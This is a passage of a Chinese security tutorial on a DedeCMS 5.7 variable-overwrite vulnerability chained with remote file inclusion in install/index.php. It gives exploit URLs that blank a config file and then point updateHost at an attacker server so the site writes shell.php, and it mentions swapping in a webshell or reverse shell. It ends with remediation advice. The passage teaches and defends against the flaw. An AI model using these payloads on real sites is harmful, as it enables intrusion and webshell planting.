wKg0C2EfDLuAE44ZAACeARIW1yE105.png

点击发送,即可在自己的服务器上收到邮件内容,其中包含密码重置链接

wKg0C2EfDMeASaYwAACsyWqZtjQ372.png

打开链接,如下所示

wKg0C2EfDNKACQAHAAA0puNkT8E932.png

实例二、dedecms5.7变量覆盖漏洞

在install/index.php文件中有"$$",相关代码如下

wKg0C2EfDPKAXqBAAAnBgoErzw730.png

在30到32中存在变量覆盖,这段代码的大概意思是依次对_GET,_POST_COOKIE进行键值分离
例如:_GET传入的参数是id=1,name=nfnf,在第一个foreach中先遍历_GET,此时\$_request变为\$_get,在第二个foreach中\$\$_request就变为\$_get,\$_k就是id和name\${\$_k}就变为\$id,\$_v就是1和nfnf。最后\$id的值就是被$_v被函数RunMagicQuotes处理后的值。

在这个文件中也存在文件包含漏洞,相关代码如下

wKg0C2EfDXAPmK5AAB6JwWgoak198.png

在文件的最后370行使用require_once函数包含了/data/admin/config_update.php文件
在被包含的文件中定义了变量$updataHost

wKg0C2EfDaKAQjwXAAAuREd64CY866.png

这是一个远程文件包含,结合前面的变量覆盖就可以控制包含的内容

网站安装完后在访问install/index.php会出现已安装

wKg0C2EfDbyANibxAAA39u9DP9Q077.png

可以覆盖insLockfile变量

wKg0C2EfDcAZ52RAAAefwD26w736.png
insLockfile不存在就可以,可以随便写insLockfile=tee,step=11时才会执行到文件包含,所以step=11,因为执行到step=11是才包含文件,变量updatahost此时才会被包含进来,所以需要先把包含进来的文件清空,我们所写的变量才会成功覆盖。如果不清空此时的uodatahost变量会把我们开始时传入的覆盖掉。所以要先清空
可以构造step=11&insLockfile=tee&install_demo_name=/data/admin/config_update.php&s_lang=tee

清空/data/admin/config_update.php内容的payload为
**http://localhost:8086/dedecms5.7/install/index.php?step=11&s_lang=test&insLockfile=test&install_demo_name=../data/admin/config_update.php

wKg0C2EfF8uAYG5jAAAaLHeuxxA083.png

此时可以看到config_update.php会发现已经变为0kb,空文件

wKg0C2EfFxeAfWbkAAAjXp69wIs104.png

内容清空后开始覆盖payload
?step=11&insLockfile=test&install_demo_name=../shell.php&updateHost=http://127.0.0.1:8086/

补充:在此处构造payload需要根据自己的环境构造,需要认真审计install/index.php文件中的代码,分析清楚代码才能得心应手的利用漏洞。

在install/index.php中\$s_lang的初始值为gb2312,所以我们在构造txt文件名的时候不用传参s_lang=test,只需要将文件名设置为demodata.gb2312.txt即可,也可设置为其它字符串,但是变量s_lang的值要与txt文件名中间的部分相同。总之,变量s_lang的值一定要和demodata.{\$s_lang}.txt中的{$s_lang}的值保持一致,否则只会在目录中创建一个空白shell.php文件。

wKg0C2EfGkaAXFkTAABAXDdbzmo566.png

wKg0C2EfGyiAQmulAACL5OVy8AE131.png
一定要将\$rmurl设置为自己的txt文件所在的网站目录,可以在浏览器中测试是否能访问到该txt文件,如果可以就说明路径没问题。下面的就是shell文件的生成原理。
因为我这里是本地环境就写的是127.0.0.1,也可以写成能访问到的ip,由于端口不是默认端口,所以要在IP后面加上端口号。需要在能访问到的ip下创建dedecms5.7文件夹并创建文件,文件名为demodata.{$s_lang}.txt。构造payload时s_lang传入多少就写多少,也可以使用默认的gb2312,文件名为demodata.gb2312.txt

wKg0C2EfG7AQ94pAAAfdyOeR08535.png

wKg0C2EfHJuARsiiAAAVG1FnlQ549.png
访问shell.php

漏洞利用成功!还可以将txt文件中的内容改为一句话木马或反弹shell,在此不再继续演示。

wKg0C2EfHUuAXja2AABw0akdqMk678.png

3、漏洞防范

变量覆盖漏洞最常见漏洞点是在做变量注册时没有验证变量是否存在,以及在赋值给变量的时候,所以我们推荐使用原始的变量数组,如$_GET、$_POST,或者在注册变量前一定要验证变量是否存在。

3.1、使用原始变量

以上我们说的变量覆盖漏洞都是因为在进行变量注册而导致,所以要解决变量覆盖的问题,最直接的方法就是不进行变量注册,建议直接用原生的\$_GET、$_POST等数组变量进行操作,如果考虑程序可读性等原因,需要注册个别变量,可以直接在代码中定义变量,然后再把请求中的值赋值给它。

3.2、验证变量存在

如果一定要使用前面几种方式注册变量,为了解决变量覆盖的问题,可以在注册变量前先判断变量是否存在,如使用extract()函数则可以配置第二个参数为EXTR_SKIP。使用parse_str()函数注册变量前需要先自行通过代码判断变量是否存在。不建议使用import_request_variables()函数注册全局变量,会导致变量不可控。最重要的一点,自行申明的变量一定要初始化,不然即使注册变量代码在执行流程最前面也能覆盖掉这些未初始化的变量。

3.3、避免危险函数的使用

在编写程序时应避免危险函数的使用,使用一些危险函数会降低安全性。当要使用具有某些功能的危险函数时,可以自己构造一个功能相同且安全的函数。如果一定要使用危险函数,一定要对用户输入做严格的过滤和控制,可以使用黑白名单验证的方式过滤危险字符。